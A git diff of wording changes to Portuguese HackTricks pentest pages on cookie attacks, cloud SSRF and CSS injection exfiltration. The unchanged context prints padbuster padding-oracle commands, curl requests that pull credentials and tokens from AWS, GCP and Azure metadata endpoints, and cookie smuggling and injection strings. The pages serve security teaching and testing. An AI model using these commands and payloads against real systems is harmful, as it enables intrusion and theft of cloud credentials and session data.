@ -105,14 +105,14 @@ Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
|||
* É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
|
||||
* O caminho para esses cookies deve ser definido como `/`.
|
||||
|
||||
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar os cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
||||
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
||||
### Sobrescrevendo cookies
|
||||
|
||||
Portanto, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, ataques de [**Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
||||
Portanto, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, ataques de [**Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que era possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ou no PHP foi possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo a sobrescrita de cookies `__HOST-`:
|
||||
Ou em PHP era possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo sobrescrever cookies `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -160,7 +160,7 @@ Esse ataque força um usuário logado a executar ações indesejadas em um aplic
|
|||
|
||||
### Cookies Vazios
|
||||
|
||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado por meio de JavaScript da seguinte forma:
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado por meio de JavaScript da seguinte forma:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -176,9 +176,9 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
```
|
||||
Isso leva o navegador a enviar um cabeçalho de cookie interpretado por todos os servidores da web como um cookie chamado `a` com um valor `b`.
|
||||
|
||||
#### Bug no Chrome: Problema com Ponto de Código Substituto Unicode
|
||||
#### Bug no Chrome: Problema com Ponto de Código de Substituto Unicode
|
||||
|
||||
No Chrome, se um ponto de código substituto Unicode fizer parte de um cookie definido, `document.cookie` se corrompe, retornando subsequentemente uma string vazia:
|
||||
No Chrome, se um ponto de código de substituto Unicode fizer parte de um cookie definido, `document.cookie` se corrompe, retornando subsequentemente uma string vazia:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -186,19 +186,19 @@ Isso resulta em `document.cookie` produzindo uma string vazia, indicando corrup
|
|||
|
||||
#### Contrabando de Cookies Devido a Problemas de Análise
|
||||
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveriam separar pares chave-valor:
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles interpretam um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnerabilidades de Injeção de Cookies
|
||||
|
||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies pelos servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que os atacantes falsifiquem cookies:
|
||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies por servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
||||
|
||||
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
||||
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
|
||||
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
||||
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypasses de autorização quando os cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypass de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||
|
||||
### Verificações Extras de Cookies Vulneráveis
|
||||
|
||||
|
@ -209,12 +209,12 @@ Essa vulnerabilidade é particularmente perigosa em aplicações web que depende
|
|||
- Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
||||
- Verifique se o cookie contém alguma informação e tente modificá-lo.
|
||||
- Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
||||
- Verifique a opção de "**lembrar-me**", se existir, para ver como funciona. Se existir e for vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
||||
- Verifique a opção de "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
||||
- Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
|
||||
|
||||
#### **Ataques avançados de cookies**
|
||||
|
||||
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo da sua conta (provavelmente o nome de usuário). Então você pode:
|
||||
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
||||
|
||||
- Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
|
||||
- Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
||||
|
@ -230,11 +230,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
|
||||
Padbuster fará várias tentativas e perguntará qual é a condição de erro (aquela que não é válida).
|
||||
|
||||
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
|
||||
|
||||
Se o ataque for realizado com sucesso, então você poderia tentar criptografar uma string de sua escolha. Por exemplo, se você quisesse **criptografar** **user=administrador**
|
||||
Se o ataque for realizado com sucesso, então você poderá tentar criptografar uma string de sua escolha. Por exemplo, se você quiser **criptografar** **user=administrador**.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
@ -270,7 +270,7 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -280,8 +280,8 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# SSRF na Nuvem
|
||||
# Cloud SSRF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via solicitações **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma solicitação **PUT** com um **cabeçalho HTTP** e depois usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que se a instância EC2 estiver aplicando o IMDSv2, [**conforme a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 de um contêiner dentro da instância EC2.
|
||||
Observe que se a instância EC2 estiver aplicando o IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 de um contêiner dentro da instância EC2.
|
||||
|
||||
Além disso, o **IMDSv2** também **bloqueará solicitações para buscar um token que inclua o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados possam acessá-lo.
|
||||
{% endhint %}
|
||||
|
@ -111,11 +111,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
```
|
||||
Observe o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los.
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los
|
||||
|
||||
### SSRF nas credenciais do AWS ECS (Serviço de Contêiner)
|
||||
|
||||
**ECS**, é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
|
||||
**ECS**, é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
|
||||
|
||||
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
|
||||
Você pode ser capaz de lê-lo explorando um **Path Traversal** para `file:///proc/self/environ`\
|
||||
|
@ -140,7 +140,7 @@ Os **nomes** das **variáveis de ambiente interessantes** são:
|
|||
Além disso, além das credenciais IAM, as funções Lambda também possuem **dados de evento que são passados para a função quando ela é iniciada**. Esses dados estão disponíveis para a função por meio da [interface de tempo de execução](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis por SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **rastreamento de pilha** do código lambda imprimir as variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
|
||||
Observe que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **rastreamento de pilha** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
|
||||
{% endhint %}
|
||||
|
||||
### URL SSRF para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -160,17 +160,17 @@ Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2
|
|||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Você pode [**encontrar aqui a documentação sobre os pontos de extremidade de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o ponto de extremidade de metadados com as seguintes URLs:
|
||||
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
* http://metadata
|
||||
|
||||
Pontos de extremidade interessantes para extrair informações:
|
||||
Endpoints interessantes para extrair informações:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -249,7 +249,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
||||
Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -345,7 +345,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
|
||||
### Azure VM
|
||||
|
||||
[**Documentação** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
[**Documentos** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **Deve** conter o cabeçalho `Metadata: true`
|
||||
* Não deve conter um cabeçalho `X-Forwarded-For`
|
||||
|
@ -505,11 +505,11 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
A documentação para os serviços de metadados de várias plataformas está detalhada abaixo, destacando os métodos pelos quais as informações de configuração e tempo de execução para as instâncias podem ser acessadas. Cada plataforma oferece endpoints exclusivos para acessar seus serviços de metadados.
|
||||
A documentação para os serviços de metadados de várias plataformas está descrita abaixo, destacando os métodos pelos quais as informações de configuração e tempo de execução para as instâncias podem ser acessadas. Cada plataforma oferece endpoints únicos para acessar seus serviços de metadados.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Para acessar os metadados da Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
|
@ -549,7 +549,7 @@ O Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas.
|
|||
|
||||
## Docker
|
||||
|
||||
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêineres e imagens:
|
||||
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêiner e imagem:
|
||||
|
||||
* Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -173,7 +173,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
|
|||
|
||||
### Bypass via redirecionamento
|
||||
|
||||
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível resposta de **redirecionamento** para essa solicitação.\
|
||||
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível resposta de **redirecionamento** para essa requisição.\
|
||||
Por exemplo, um servidor vulnerável ao SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro de url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o local para onde deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
|
||||
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
|
@ -217,7 +217,7 @@ imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -76,7 +76,7 @@ Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muit
|
|||
|
||||
### @import
|
||||
|
||||
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **inserir a página vulnerável à injeção de CSS em um iframe**.
|
||||
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **inserir o iframe na página vulnerável à injeção de CSS**.
|
||||
|
||||
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
|
||||
|
||||
|
@ -96,7 +96,7 @@ Em vez de carregar a mesma página várias vezes com dezenas de payloads diferen
|
|||
|
||||
O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
|
||||
|
||||
Você pode encontrar o [**código de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
|
||||
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:
|
||||
|
@ -111,8 +111,8 @@ Isso permite que o script vaze o segredo mais rapidamente.
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Às vezes o script **não detecta corretamente que o prefixo + sufixo descoberto já é a bandeira completa** e continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento irá travar.\
|
||||
Não se preocupe, apenas verifique a **saída** porque **você pode ver a bandeira lá**.
|
||||
Às vezes o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e ele continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento irá travar.\
|
||||
Não se preocupe, apenas verifique a **saída** porque **você pode ver a flag lá**.
|
||||
{% endhint %}
|
||||
|
||||
### Outros seletores
|
||||
|
